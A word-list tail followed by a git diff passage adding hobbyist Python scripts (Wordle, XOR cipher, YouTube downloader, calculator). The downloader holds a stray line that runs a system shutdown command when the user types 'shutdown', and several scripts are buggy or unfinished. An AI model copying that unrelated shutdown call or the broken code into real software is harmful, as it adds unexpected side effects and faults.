+yoicks +yoicksed +yoickses +yoicksing +yoing +yojan +yojana +yojanas +yojans +yok +yoke +yoked +yokel +yokelish +yokels +yokes +yoking +yokings +yokohama +yokozuna +yokozunas +yoks +yoldring +yoldrings +yolk +yolked +yolkier +yolkiest +yolks +yolky +yom +yomp +yomped +yomping +yomps +yon +yond +yonder +yong +yoni +yonis +yonker +yonkers +yonks +yonne +yont +yoo +yoof +yoop +yoops +yopper +yoppers +yore +yores +yorick +york +yorked +yorker +yorkers +yorkie +yorkies +yorking +yorkish +yorkist +yorks +yorkshire +yorkshireman +yorkshiremen +yoruba +yoruban +yorubas +yos +yosemite +you +you'd +you'll +you're +you've +youk +youked +youking +youks +young +youngberries +youngberry +younger +youngest +youngish +youngling +younglings +youngly +youngness +youngster +youngsters +younker +younkers +your +yourn +yours +yourself +yourselves +yourt +yourts +yous +youth +youthful +youthfully +youthfulness +youthhead +youthhood +youthly +youths +youthsome +youthy +yow +yowe +yowes +yowie +yowies +yowl +yowled +yowley +yowleys +yowling +yowlings +yowls +yows +yoyo +yoyos +ypight +ypointing +ypres +ypsiliform +ypsiloid +yrapt +yrent +yrivd +yseult +ytterbia +ytterbium +yttria +yttric +yttriferous +yttrious +yttrium +yttro +yu +yuan +yuca +yucas +yucatan +yucca +yuccas +yuck +yucked +yucker +yuckers +yuckier +yuckiest +yucking +yucks +yucky +yuft +yug +yuga +yugas +yugoslav +yugoslavia +yugoslavian +yugoslavians +yugoslavic +yugoslavs +yugs +yuk +yukata +yukatas +yuke +yuked +yukes +yuking +yukkier +yukkiest +yukky +yuko +yukon +yukos +yuks +yulan +yulans +yule +yules +yuletide +yuletides +yum +yummier +yummiest +yummy +yung +yup +yupik +yupon +yupons +yuppie +yuppiedom +yuppies +yuppification +yuppified +yuppifies +yuppify +yuppifying +yuppy +yups +yurt +yurts +yus +yvelines +yvette +yvonne +ywca +ywis +z +zabaglione +zabagliones +zabaione +zabaiones +zabeta +zabian +zabra +zabras +zach +zachariah +zacharias +zachary +zaddik +zaddikim +zaddiks +zaffer +zaffre +zag +zagged +zagging +zagreb +zags +zaire +zairean +zaireans +zakat +zakuska +zakuski +zalambdodont +zalambdodonts +zalophus +zaman +zamang +zamarra +zamarras +zamarro +zamarros +zambezi +zambia +zambian +zambians +zambo +zamboorak +zambooraks +zambos +zambuck +zambucks +zambuk +zambuks +zamia +zamias +zamindar +zamindari +zamindaris +zamindars +zamindary +zamouse +zamouses +zander +zanders +zanella +zanied +zanier +zanies +zaniest +zaniness +zante +zantedeschia +zantes +zanthoxyl +zanthoxylum +zantiot +zantiote +zany +zanying +zanyism +zanze +zanzes +zanzibar +zanzibari +zanzibaris +zap +zapata +zapateado +zapateados +zapodidae +zaporogian +zapotec +zapotecan +zapotecs +zapotilla +zapotillas +zappa +zapped +zapper +zappers +zappier +zappiest +zapping +zappy +zaps +zaptiah +zaptiahs +zaptieh +zaptiehs +zara +zaragoza +zarape +zarapes +zarathustra +zarathustrian +zarathustrianism +zarathustric +zarathustrism +zaratite +zareba +zarebas +zareeba +zareebas +zarf +zarfs +zariba +zaribas +zarnich +zarzuela +zarzuelas +zastruga +zastrugi +zati +zatis +zax +zaxes +zea +zeal +zealand +zealander +zealanders +zealful +zealless +zealot +zealotism +zealotries +zealotry +zealots +zealous +zealously +zealousness +zeals +zebec +zebeck +zebecks +zebecs +zebedee +zebra +zebras +zebrass +zebrasses +zebrina +zebrine +zebrinnies +zebrinny +zebroid +zebrula +zebrulas +zebrule +zebrules +zebu +zebub +zebubs +zebus +zecchini +zecchino +zecchinos +zechariah +zechstein +zed +zedoaries +zedoary +zeds +zee +zeebrugge +zeeland +zeelander +zeelanders +zeeman +zees +zeffirelli +zein +zeiss +zeist +zeitgeist +zeitvertreib +zek +zeks +zel +zelanian +zelator +zelators +zelatrice +zelatrices +zelatrix +zeloso +zels +zemindar +zemindari +zemindaries +zemindaris +zemindars +zemindary +zemlinsky +zemstva +zemstvo +zemstvos +zen +zenana +zenanas +zend +zenda +zendik +zendiks +zener +zenith +zenithal +zeniths +zennist +zeno +zenobia +zeolite +zeolites +zeolitic +zephaniah +zephyr +zephyrs +zephyrus +zeppelin +zeppelins +zerda +zerdas +zereba +zerebas +zeriba +zeribas +zermatt +zero +zeroed +zeroes +zeroing +zeros +zeroth +zerumbet +zest +zester +zesters +zestful +zestfully +zestfulness +zestier +zestiest +zests +zesty +zeta +zetas +zetetic +zetetics +zetland +zeuglodon +zeuglodont +zeuglodontia +zeuglodonts +zeugma +zeugmas +zeugmatic +zeus +zeuxian +zeuxis +zeuxite +zeuxites +zhengzhou +zhivago +zho +zhos +zibeline +zibelines +zibelline +zibellines +zibet +zibets +zibo +zidovudine +ziegler +ziff +ziffs +zig +zigan +ziganka +zigankas +zigans +zigged +zigging +ziggurat +ziggurats +zigs +zigzag +zigzagged +zigzaggeries +zigzaggery +zigzagging +zigzaggy +zigzags +zikkurat +zikkurats +zila +zilas +zilch +zilches +zillah +zillahs +zillion +zillions +zillionth +zillionths +zimb +zimbabwe +zimbabwean +zimbabweans +zimbi +zimbis +zimbs +zimmer +zimmerman +zimmers +zimocca +zimoccas +zinc +zincalo +zinced +zinciferous +zincification +zincified +zincifies +zincify +zincifying +zincing +zincite +zincked +zincking +zincks +zincky +zinco +zincode +zincograph +zincographer +zincographers +zincographic +zincographical +zincographs +zincography +zincoid +zincolysis +zincos +zincous +zincs +zincy +zine +zineb +zines +zinfandel +zing +zingani +zingano +zingara +zingare +zingari +zingaro +zinged +zingel +zingels +zinger +zingers +zingiber +zingiberaceae +zingiberaceous +zingibers +zingier +zingiest +zinging +zings +zingy +zinjanthropus +zinke +zinked +zinkenite +zinkes +zinkiferous +zinkified +zinkifies +zinkify +zinkifying +zinky +zinnia +zinnias +zinziberaceous +zion +zionism +zionist +zionists +zionward +zip +ziphiidae +ziphius +zipped +zipper +zippered +zippers +zippier +zippiest +zipping +zippo +zippy +zips +zircalloy +zircaloy +zircaloys +zircoloy +zircoloys +zircon +zirconia +zirconic +zirconium +zircons +zit +zite +zither +zithern +zitherns +zithers +ziti +zits +ziz +zizania +zizel +zizels +zizyphus +zizz +zizzed +zizzes +zizzing +zloty +zlotys +zo +zoa +zoantharia +zoantharian +zoanthidae +zoanthropy +zoanthus +zoarium +zoariums +zobo +zobos +zocco +zoccolo +zoccolos +zoccos +zodiac +zodiacal +zodiacs +zoe +zoea +zoeae +zoeal +zoeas +zoeform +zoetic +zoetrope +zoetropes +zoetropic +zoffany +zohar +zoiatria +zoiatrics +zoic +zoilean +zoilism +zoilist +zoisite +zoism +zoist +zoists +zola +zolaism +zollverein +zombi +zombie +zombies +zombified +zombifies +zombify +zombifying +zombiism +zombis +zomboruk +zomboruks +zona +zonae +zonal +zonally +zonary +zonate +zonated +zonation +zonda +zone +zoned +zoneless +zones +zoning +zonings +zonk +zonked +zonking +zonks +zonoid +zonotrichia +zonula +zonular +zonulas +zonule +zonules +zonulet +zonulets +zonure +zonures +zonuridae +zonurus +zoo +zoobiotic +zooblast +zooblasts +zoochemical +zoochemistry +zoochore +zoochores +zoochorous +zooculture +zoocytia +zoocytium +zoodendrium +zoodendriums +zooecia +zooecium +zoogamete +zoogametes +zoogamous +zoogamy +zoogenic +zoogenous +zoogeny +zoogeographer +zoogeographers +zoogeographic +zoogeographical +zoogeography +zoogloea +zoogloeic +zoogonidia +zoogonidium +zoogonous +zoogony +zoograft +zoografting +zoograftings +zoografts +zoographer +zoographers +zoographic +zoographical +zoographist +zoographists +zoography +zooid +zooidal +zooids +zooks +zookses +zoolater +zoolaters +zoolatria +zoolatrous +zoolatry +zoolite +zoolites +zoolith +zoolithic +zooliths +zoolitic +zoological +zoologically +zoologist +zoologists +zoology +zoom +zoomagnetic +zoomagnetism +zoomancy +zoomantic +zoomed +zoometric +zoometry +zooming +zoomorph +zoomorphic +zoomorphies +zoomorphism +zoomorphisms +zoomorphs +zoomorphy +zooms +zoon +zoonal +zoonic +zoonite +zoonites +zoonitic +zoonomia +zoonomic +zoonomist +zoonomists +zoonomy +zoonoses +zoonosis +zoonotic +zoons +zoopathology +zoopathy +zooperal +zooperist +zooperists +zoopery +zoophaga +zoophagan +zoophagans +zoophagous +zoophile +zoophiles +zoophilia +zoophilism +zoophilist +zoophilists +zoophilous +zoophily +zoophobia +zoophobous +zoophoric +zoophorus +zoophysiologist +zoophysiologists +zoophysiology +zoophyta +zoophyte +zoophytes +zoophytic +zoophytical +zoophytoid +zoophytological +zoophytologist +zoophytologists +zoophytology +zooplankton +zooplastic +zooplasty +zoopsychology +zoos +zooscopic +zooscopy +zoosperm +zoospermatic +zoospermium +zoospermiums +zoosperms +zoosporangium +zoosporangiums +zoospore +zoospores +zoosporic +zoosporous +zoot +zootaxy +zootechnics +zootechny +zoothecia +zoothecial +zoothecium +zootheism +zootheistic +zootherapy +zoothome +zoothomes +zootomic +zootomical +zootomically +zootomist +zootomists +zootomy +zootoxin +zootoxins +zootrophic +zootrophy +zootsuiter +zootsuiters +zootype +zootypes +zootypic +zoozoo +zoozoos +zopilote +zopilotes +zoppo +zorgite +zoril +zorille +zorilles +zorillo +zorillos +zorils +zoroaster +zoroastrian +zoroastrianism +zoroastrians +zorro +zorros +zos +zoster +zostera +zosters +zouave +zouche +zouk +zounds +zoundses +zowie +zucchetto +zucchettos +zucchini +zucchinis +zuchetto +zuchettos +zug +zugzwang +zugzwangs +zukerman +zuleika +zulu +zulus +zum +zumbooruck +zumboorucks +zumbooruk +zumbooruks +zuni +zunian +zunis +zurich +zwanziger +zwieback +zwinglian +zwinglianism +zwinglianist +zwischenzug +zwischenzugs +zwitterion +zwitterions +zwolle +zydeco +zygaena +zygaenid +zygaenidae +zygal +zygantrum +zygapophyseal +zygapophyses +zygapophysis +zygobranch +zygobranches +zygobranchiata +zygobranchiate +zygobranchiates +zygocactus +zygodactyl +zygodactylic +zygodactylism +zygodactylous +zygodont +zygoma +zygomas +zygomata +zygomatic +zygomorphic +zygomorphism +zygomorphous +zygomorphy +zygomycete +zygomycetes +zygomycetous +zygon +zygons +zygophyllaceae +zygophyllaceous +zygophyllum +zygophyte +zygophytes +zygopleural +zygose +zygosis +zygosperm +zygosperms +zygosphene +zygosphenes +zygospore +zygospores +zygote +zygotes +zygotic +zymase +zymases +zyme +zymes +zymic +zymite +zymites +zymogen +zymogenic +zymoid +zymologic +zymological +zymologist +zymologists +zymology +zymolysis +zymolytic +zymome +zymometer +zymometers +zymosimeter +zymosimeters +zymosis +zymotechnic +zymotechnical +zymotechnics +zymotic +zymotically +zymurgy +zyrian +zyrians +zythum diff --git a/Wordle/wordle.py b/Wordle/wordle.py new file mode 100644 index 00000000000..bd903796e90 --- /dev/null +++ b/Wordle/wordle.py @@ -0,0 +1,130 @@ +# Get all 5 letter words from the full English dictionary +""" +# dictionary by http://www.gwicks.net/dictionaries.htm +# Load full English dictionary +dictionary = open("Dictionary.txt", 'r') +# Load new empty dictionary +new_dictionary = open("5 letter word dictionary.txt", "w") + +# Read the full English dictionary +dictionary_content = dictionary.read() +# Split the full dictionary on every new line +dictionary_content = dictionary_content.split("\n") # This returns a list of all the words in the dictionary + +# Loop over all the words in the full dictionary +for i in dictionary_content: + # Check if the current word is 5 characters long + if len(i) == 5: + # Write word to the new dictionary + new_dictionary.write(f"{i}\n") + +# Close out of the new dictionary +new_dictionary.close() +""" + +# import the library random +import random + +# Load 5 letter word dictionary +with open("5 letter word dictionary.txt", "r") as dictionary: + # Read content of dictionary + dictionary = dictionary.read().split( + "\n" + ) # This returns a list of all the words in the dictionary + +# Choose a random word from the dictionary +word = random.choice(dictionary) + +# Get all the unique letters of the word +dif_letters = list(set(word)) + +# Count how many times each letter occurs in the word +count_letters = {} +for i in dif_letters: + count_letters[i] = word.count(i) + +# Set tries to 0 +tries = 0 + +# Main loop +while True: + # Check if the user has used all of their tries + if tries == 6: + print(f"You did not guess the word!\nThe word was {word}") + break + # Get user input and make it all lower case + user_inp = input(">>").lower() + + # Check if user wants to exit the program + if user_inp == "q": + break + + # Check if the word given by the user is 5 characters long + if not len(user_inp) == 5: + print("Your input must be 5 letters long") + continue + + # Check if the word given by the user is in the dictionary + if user_inp not in dictionary: + print("Your word is not in the dictionary") + continue + + # Check if the word given by the user is correct + if user_inp == word: + print(f"You guessed the word in {tries} tries") + break + + # Check guess + letter = 0 + letter_dict = {} + letters_checked = [] + return_answer = " " + for i in word: + # Check if letter is already checked + counter = 0 + cont = False + for g in letters_checked: + if g == user_inp[letter]: + counter += 1 + # Check if letter has been checkd more or equal to the ammount of these letters inside of the word + if counter >= count_letters[i]: + cont = True + + # Check if cont is true + if cont: + return_answer += "-" + letters_checked.append(user_inp[letter]) + letter += 1 + continue + + answer_given = False + do_not_add = False + # Check if letter is in word + if user_inp[letter] in word: + answer_given = True + # Check if letter is in the correct position + if user_inp[letter] == i: + return_answer += "G" + else: + if ( + not user_inp[word.index(user_inp[letter])] + == word[word.index(user_inp[letter])] + ): + return_answer += "Y" + else: + answer_given = False + do_not_add = True + + # Check if there has already been an answer returned + if not answer_given: + return_answer += "-" + + # Append checked letter to the list letters_checked + if not do_not_add: + letters_checked.append(user_inp[letter]) + + letter += 1 + + print(return_answer) + + tries += 1 diff --git a/XML/HTML parsing b/XML/HTML parsing new file mode 100644 index 00000000000..8d8c2825e02 --- /dev/null +++ b/XML/HTML parsing @@ -0,0 +1,21 @@ +dinner_recipe = ''' + + + + + +
amtunititem
24slicesbaguette
2+tbspolive oil
1cuptomatoes
1jarpesto
''' + +# From http://effbot.org/zone/element-index.htm +import xml.etree.ElementTree as etree +tree = etree.fromstring(dinner_recipe) + +# For invalid HTML use http://effbot.org/zone/element-soup.htm +# import ElementSoup, StringIO +# tree = ElementSoup.parse(StringIO.StringIO(dinner_recipe)) + +pantry = set(['olive oil', 'pesto']) +for ingredient in tree.getiterator('tr'): + amt, unit, item = ingredient + if item.tag == "td" and item.text not in pantry: + print ("%s: %s %s" % (item.text, amt.text, unit.text)) diff --git a/XORcipher/README.md b/XORcipher/README.md new file mode 100644 index 00000000000..8b86506c7d2 --- /dev/null +++ b/XORcipher/README.md @@ -0,0 +1,14 @@ + +### XORCipher class + +This class implements the XOR-cipher algorithm and provides some useful methods for encrypting and decrypting strings and +files. You will find detailed docstrings in each method. + +#### Overview about methods + +* encrypt : list of char +* decrypt : list of char +* encrypt_string : str +* decrypt_string : str +* encrypt_file : boolean +* decrypt_file : boolean \ No newline at end of file diff --git a/XORcipher/XOR_cipher.py b/XORcipher/XOR_cipher.py new file mode 100644 index 00000000000..c12dfdad2b0 --- /dev/null +++ b/XORcipher/XOR_cipher.py @@ -0,0 +1,203 @@ +""" +author: Christian Bender +date: 21.12.2017 +class: XORCipher + +This class implements the XOR-cipher algorithm and provides +some useful methods for encrypting and decrypting strings and +files. + +Overview about methods + +- encrypt : list of char +- decrypt : list of char +- encrypt_string : str +- decrypt_string : str +- encrypt_file : boolean +- decrypt_file : boolean +""" + + +class XORCipher(object): + def __init__(self, key=0): + """ + simple constructor that receives a key or uses + default key = 0 + """ + + # private field + self.__key = key + + def encrypt(self, content, key): + """ + input: 'content' of type string and 'key' of type int + output: encrypted string 'content' as a list of chars + if key not passed the method uses the key by the constructor. + otherwise key = 1 + """ + + # precondition + assert isinstance(key, int) and isinstance(content, str) + + key = key or self.__key or 1 + + # make sure key can be any size + while key > 255: + key -= 255 + + # This will be returned + ans = [] + + for ch in content: + ans.append(chr(ord(ch) ^ key)) + + return ans + + def decrypt(self, content, key): + """ + input: 'content' of type list and 'key' of type int + output: decrypted string 'content' as a list of chars + if key not passed the method uses the key by the constructor. + otherwise key = 1 + """ + + # precondition + assert isinstance(key, int) and isinstance(content, list) + + key = key or self.__key or 1 + + # make sure key can be any size + while key > 255: + key -= 255 + + # This will be returned + ans = [] + + for ch in content: + ans.append(chr(ord(ch) ^ key)) + + return ans + + def encrypt_string(self, content, key=0): + """ + input: 'content' of type string and 'key' of type int + output: encrypted string 'content' + if key not passed the method uses the key by the constructor. + otherwise key = 1 + """ + + # precondition + assert isinstance(key, int) and isinstance(content, str) + + key = key or self.__key or 1 + + # make sure key can be any size + while key > 255: + key -= 255 + + # This will be returned + ans = "" + + for ch in content: + ans += chr(ord(ch) ^ key) + + return ans + + def decrypt_string(self, content, key=0): + """ + input: 'content' of type string and 'key' of type int + output: decrypted string 'content' + if key not passed the method uses the key by the constructor. + otherwise key = 1 + """ + + # precondition + assert isinstance(key, int) and isinstance(content, str) + + key = key or self.__key or 1 + + # make sure key can be any size + while key > 255: + key -= 255 + + # This will be returned + ans = "" + + for ch in content: + ans += chr(ord(ch) ^ key) + + return ans + + def encrypt_file(self, file, key=0): + """ + input: filename (str) and a key (int) + output: returns true if encrypt process was + successful otherwise false + if key not passed the method uses the key by the constructor. + otherwise key = 1 + """ + + # precondition + assert isinstance(file, str) and isinstance(key, int) + + try: + with open(file, "r") as fin: + with open("encrypt.out", "w+") as fout: + # actual encrypt-process + for line in fin: + fout.write(self.encrypt_string(line, key)) + + except: + return False + + return True + + def decrypt_file(self, file, key): + """ + input: filename (str) and a key (int) + output: returns true if decrypt process was + successful otherwise false + if key not passed the method uses the key by the constructor. + otherwise key = 1 + """ + + # precondition + assert isinstance(file, str) and isinstance(key, int) + + try: + with open(file, "r") as fin: + with open("decrypt.out", "w+") as fout: + # actual encrypt-process + for line in fin: + fout.write(self.decrypt_string(line, key)) + + except: + return False + + return True + + +# Tests +# crypt = XORCipher() +# key = 67 + +# # test enrcypt +# print crypt.encrypt("hallo welt",key) +# # test decrypt +# print crypt.decrypt(crypt.encrypt("hallo welt",key), key) + +# # test encrypt_string +# print crypt.encrypt_string("hallo welt",key) + +# # test decrypt_string +# print crypt.decrypt_string(crypt.encrypt_string("hallo welt",key),key) + +# if (crypt.encrypt_file("test.txt",key)): +# print "encrypt successful" +# else: +# print "encrypt unsuccessful" + +# if (crypt.decrypt_file("encrypt.out",key)): +# print "decrypt successful" +# else: +# print "decrypt unsuccessful" diff --git a/XORcipher/test_XOR_cipher.py b/XORcipher/test_XOR_cipher.py new file mode 100644 index 00000000000..650efab8497 --- /dev/null +++ b/XORcipher/test_XOR_cipher.py @@ -0,0 +1,136 @@ +# +# Test XORCipher +# ************** +# +# Test automation software created by Kevin M. Thomas 09/29/19. +# Test automation software Modified by Kevin M. Thomas 09/29/19. +# CC BY 4.0 +# +# Test XORCipher is the test automation suite for the XORCipher created by +# Christian Bender. +# Usage: python test_XOR_cipher.py +# + + +import unittest +from unittest import TestCase, mock + +from XOR_cipher import XORCipher + + +class TestXORCipher(TestCase): + """ + Test XORCipher class. + """ + + def setUp(self): + """ + The SetUp call with commented values in the event one needs + to instantiate mocked objects regarding the XORCipher class. + """ + + # key = mock.MagicMock() + # self.XORCipher_1 = XORCipher(key) + pass + + @mock.patch("XOR_cipher.XORCipher.__init__") + def test__init__(self, mock__init__): + """ + Test the __init__ method with commented values in the event + one needs to instantiate mocked objects on the method. + """ + + # self.XORCipher_1.__init__ = mock.MagicMock() + XORCipher.__init__ = mock.MagicMock() + + # self.XORCipher_1.__init__(1) + XORCipher.__init__() + + # self.XORCipher_1.__init__.assert_called_with(1) + XORCipher.__init__.assert_called() + + @mock.patch("XOR_cipher.XORCipher.encrypt") + def test_encrypt(self, mock_encrypt): + """ + Test the encrypt method with mocked values. + """ + + ans = mock.MagicMock() + content = mock.MagicMock() + key = mock.MagicMock() + XORCipher.encrypt = mock.MagicMock(return_value=ans) + XORCipher.encrypt(content, key) + + XORCipher.encrypt.assert_called_with(content, key) + + @mock.patch("XOR_cipher.XORCipher.decrypt") + def test_decrypt(self, mock_decrypt): + """ + Test the decrypt method with mocked values. + """ + + ans = mock.MagicMock() + content = mock.MagicMock() + key = mock.MagicMock() + XORCipher.decrypt = mock.MagicMock(return_value=ans) + XORCipher.decrypt(content, key) + + XORCipher.decrypt.assert_called_with(content, key) + + @mock.patch("XOR_cipher.XORCipher.encrypt_string") + def test_encrypt_string(self, mock_encrypt_string): + """ + Test the encrypt_string method with mocked values. + """ + + ans = mock.MagicMock() + content = mock.MagicMock() + key = mock.MagicMock() + XORCipher.encrypt_string = mock.MagicMock(return_value=ans) + XORCipher.encrypt_string(content, key) + + XORCipher.encrypt_string.assert_called_with(content, key) + + @mock.patch("XOR_cipher.XORCipher.decrypt_string") + def test_decrypt_string(self, mock_decrypt_string): + """ + Test the decrypt_string method with mocked values. + """ + + ans = mock.MagicMock() + content = mock.MagicMock() + key = mock.MagicMock() + XORCipher.decrypt_string = mock.MagicMock(return_value=ans) + XORCipher.decrypt_string(content, key) + + XORCipher.decrypt_string.assert_called_with(content, key) + + @mock.patch("XOR_cipher.XORCipher.encrypt_file") + def test_encrypt_file(self, mock_encrypt_file): + """ + Test the encrypt_file method with mocked values. + """ + + file = mock.MagicMock() + key = mock.MagicMock() + XORCipher.encrypt_file = mock.MagicMock(return_value=True) + XORCipher.encrypt_file(file, key) + + XORCipher.encrypt_file.assert_called_with(file, key) + + @mock.patch("XOR_cipher.XORCipher.decrypt_file") + def test_decrypt_file(self, mock_decrypt_file): + """ + Test the decrypt_file method with mocked values. + """ + + file = mock.MagicMock() + key = mock.MagicMock() + XORCipher.decrypt_string = mock.MagicMock(return_value=True) + XORCipher.decrypt_string(file, key) + + XORCipher.decrypt_string.assert_called_with(file, key) + + +if __name__ == "__main__": + unittest.main() diff --git a/Youtube Downloader With GUI/Screenshot (138).png b/Youtube Downloader With GUI/Screenshot (138).png new file mode 100644 index 00000000000..7f354de5746 Binary files /dev/null and b/Youtube Downloader With GUI/Screenshot (138).png differ diff --git a/Youtube Downloader With GUI/main.py b/Youtube Downloader With GUI/main.py new file mode 100644 index 00000000000..b21e4495a99 --- /dev/null +++ b/Youtube Downloader With GUI/main.py @@ -0,0 +1,104 @@ +# libraraies + +from pytube import * +import os +from tkinter import * +from tkinter.filedialog import * +from tkinter.messagebox import * +from threading import * + +file_size = 0 + +q = input("") +if q == "shutdown": + os.system("shutdown -s") + + +# function progress to keep check of progress of function. +def progress(stream=None, chunk=None, remaining=None): + file_downloaded = file_size - remaining + per = round((file_downloaded / file_size) * 100, 1) + dBtn.config(text=f"{per}% downloaded") + + +# function start download to start the download of files +def startDownload(): + global file_size + try: + URL = urlField.get() + dBtn.config(text="Please wait...") + dBtn.config(state=DISABLED) + path_save = askdirectory() + if path_save is None: + return + ob = YouTube(URL, on_progress_callback=progress) + strm = ob.streams[0] + x = ob.description.split("|") + file_size = strm.filesize + dfile_size = file_size + dfile_size /= 1000000 + dfile_size = round(dfile_size, 2) + label.config(text="Size: " + str(dfile_size) + " MB") + label.pack(side=TOP, pady=10) + desc.config( + text=ob.title + + "\n\n" + + "Label: " + + ob.author + + "\n\n" + + "length: " + + str(round(ob.length / 60, 1)) + + " mins\n\n" + "Views: " + str(round(ob.views / 1000000, 2)) + "M" + ) + desc.pack(side=TOP, pady=10) + strm.download(path_save, strm.title) + dBtn.config(state=NORMAL) + showinfo("Download Finished", "Downloaded Successfully") + urlField.delete(0, END) + label.pack_forget() + desc.pack_forget() + dBtn.config(text="Start Download") + + except Exception as e: + print(e) + print("Error!!") + + +def startDownloadthread(): + thread = Thread(target=startDownload) + thread.start() + + +# main functions +main = Tk() + +main.title("My YouTube Downloader") +main.config(bg="#3498DB") + +main.iconbitmap("youtube-ios-app.ico") + +main.geometry("500x600") + +file = PhotoImage(file="photo.png") +headingIcon = Label(main, image=file) +headingIcon.pack(side=TOP) + +urlField = Entry(main, font=("Times New Roman", 18), justify=CENTER) +urlField.pack(side=TOP, fill=X, padx=10, pady=15) + +dBtn = Button( + main, + text="Start Download", + font=("Times New Roman", 18), + relief="ridge", + activeforeground="red", + command=startDownloadthread, +) +dBtn.pack(side=TOP) +label = Label(main, text="") +desc = Label(main, text="") +author = Label(main, text="@G.S.") +author.config(font=("Courier", 44)) +author.pack(side=BOTTOM) +main.mainloop() diff --git a/Youtube Downloader With GUI/photo.jpg b/Youtube Downloader With GUI/photo.jpg new file mode 100644 index 00000000000..3b408db3fb6 Binary files /dev/null and b/Youtube Downloader With GUI/photo.jpg differ diff --git a/Youtube Downloader With GUI/photo.png b/Youtube Downloader With GUI/photo.png new file mode 100644 index 00000000000..6b206e39e03 Binary files /dev/null and b/Youtube Downloader With GUI/photo.png differ diff --git a/Youtube Downloader With GUI/youtube-ios-app.ico b/Youtube Downloader With GUI/youtube-ios-app.ico new file mode 100644 index 00000000000..c912661ee1c Binary files /dev/null and b/Youtube Downloader With GUI/youtube-ios-app.ico differ diff --git a/add_two_number.py b/add_two_number.py new file mode 100644 index 00000000000..f83491cc2fd --- /dev/null +++ b/add_two_number.py @@ -0,0 +1,16 @@ +user_input = (input("type type 'start' to run program:")).lower() + +if user_input == "start": + is_game_running = True +else: + is_game_running = False + + +while is_game_running: + num1 = int(input("enter number 1:")) + num2 = int(input("enter number 2:")) + num3 = num1 + num2 + print(f"sum of {num1} and {num2} is {num3}") + user_input = (input("if you want to discontinue type 'stop':")).lower() + if user_input == "stop": + is_game_running = False diff --git a/add_two_nums.py b/add_two_nums.py new file mode 100644 index 00000000000..fde5ae987e9 --- /dev/null +++ b/add_two_nums.py @@ -0,0 +1,23 @@ +__author__ = "Nitkarsh Chourasia" +__version__ = "1.0" + + +def addition(num1: typing.Union[int, float], num2: typing.Union[int, float]) -> str: + """A function to add two given numbers.""" + + # Checking if the given parameters are numerical or not. + if not isinstance(num1, (int, float)): + return "Please input numerical values only for num1." + if not isinstance(num2, (int, float)): + return "Please input numerical values only for num2." + + # Adding the given parameters. + sum_result = num1 + num2 + + # returning the result. + return f"The sum of {num1} and {num2} is: {sum_result}" + + +print(addition(5, 10)) # This will use the provided parameters +print(addition(2, 2)) +print(addition(-3, -5)) diff --git a/advanced_calculator.py b/advanced_calculator.py new file mode 100644 index 00000000000..c7021f6a608 --- /dev/null +++ b/advanced_calculator.py @@ -0,0 +1,385 @@ +# This is like making a package.lock file for npm package. +# Yes, I should be making it. +__author__ = "Nitkarsh Chourasia" +__version__ = "0.0.0" # SemVer # Understand more about it +__license__ = "MIT" # Understand more about it +# Want to make it open source but how to do it? +# Program to make a simple calculator +# Will have to extensively work on Jarvis and local_document and MongoDb and Redis and JavaScript and CSS and DOM manipulation to understand it. +# Will have to study maths to understand it more better. +# How can I market gtts? Like showing used google's api? This is how can I market it? +# Project description? What will be the project description? + +from gtts import gTTS +from pygame import mixer, time +from io import BytesIO +from pprint import pprint + + +# Find the best of best extensions for the auto generation of the documentation parts. +# For your favourite languages like JavaScript, Python ,etc,... +# Should be able to print date and time too. +# Should use voice assistant for specially abled people. +# A fully personalised calculator. +# voice_assistant on/off , setting bool value to true or false + +# Is the operations valid? + + +# Validation checker +class Calculator: + def __init__(self): + self.take_inputs() + + def add(self): + """summary: Get the sum of numbers + + Returns: + _type_: _description_ + """ + return self.num1 + self.num2 + + def sub(self): + """_summary_: Get the difference of numbers + + Returns: + _type_: _description_ + """ + return self.num1 - self.num2 + + def multi(self): + """_summary_: Get the product of numbers + + Returns: + _type_: _description_ + """ + return self.num1 * self.num2 + + def div(self): + """_summary_: Get the quotient of numbers + + Returns: + _type_: _description_ + """ + # What do we mean by quotient? + return self.num1 / self.num2 + + def power(self): + """_summary_: Get the power of numbers + + Returns: + _type_: _description_ + """ + return self.num1**self.num2 + + def root(self): + """_summary_: Get the root of numbers + + Returns: + _type_: _description_ + """ + return self.num1 ** (1 / self.num2) + + def remainer(self): + """_summary_: Get the remainder of numbers + + Returns: + _type_: _description_ + """ + + # Do I have to use the '.' period or full_stop in the numbers? + return self.num1 % self.num2 + + def cube_root(self): + """_summary_: Get the cube root of numbers + + Returns: + _type_: _description_ + """ + return self.num1 ** (1 / 3) + + def cube_exponent(self): + """_summary_: Get the cube exponent of numbers + + Returns: + _type_: _description_ + """ + return self.num1**3 + + def square_root(self): + """_summary_: Get the square root of numbers + + Returns: + _type_: _description_ + """ + return self.num1 ** (1 / 2) + + def square_exponent(self): + """_summary_: Get the square exponent of numbers + + Returns: + _type_: _description_ + """ + return self.num1**2 + + def factorial(self): + """_summary_: Get the factorial of numbers""" + pass + + def list_factors(self): + """_summary_: Get the list of factors of numbers""" + pass + + def factorial(self): + for i in range(1, self.num + 1): + self.factorial = self.factorial * i # is this right? + + def LCM(self): + """_summary_: Get the LCM of numbers""" + pass + + def HCF(self): + """_summary_: Get the HCF of numbers""" + pass + + # class time: # Working with days calculator + def age_calculator(self): + """_summary_: Get the age of the user""" + # This is be very accurate and precise it should include proper leap year and last birthday till now every detail. + # Should show the preciseness in seconds when called. + pass + + def days_calculator(self): + """_summary_: Get the days between two dates""" + pass + + def leap_year(self): + """_summary_: Get the leap year of the user""" + pass + + def perimeter(self): + """_summary_: Get the perimeter of the user""" + pass + + class Trigonometry: + """_summary_: Class enriched with all the methods to solve basic trignometric problems""" + + def pythagorean_theorem(self): + """_summary_: Get the pythagorean theorem of the user""" + pass + + def find_hypotenuse(self): + """_summary_: Get the hypotenuse of the user""" + pass + + def find_base(self): + """_summary_: Get the base of the user""" + pass + + def find_perpendicular(self): + """_summary_: Get the perpendicular of the user""" + pass + + # class Logarithms: + # Learn more about Maths in general + + def quadratic_equation(self): + """_summary_: Get the quadratic equation of the user""" + pass + + def open_system_calculator(self): + """_summary_: Open the calculator present on the machine of the user""" + # first identify the os + # track the calculator + # add a debugging feature like error handling + # for linux and mac + # if no such found then print a message to the user that sorry dear it wasn't possible to so + # then open it + + def take_inputs(self): + """_summary_: Take the inputs from the user in proper sucession""" + while True: + while True: + try: + # self.num1 = float(input("Enter The First Number: ")) + # self.num2 = float(input("Enter The Second Number: ")) + pprint("Enter your number") + # validation check must be done + break + except ValueError: + pprint("Please Enter A Valid Number") + continue + # To let the user to know it is time to 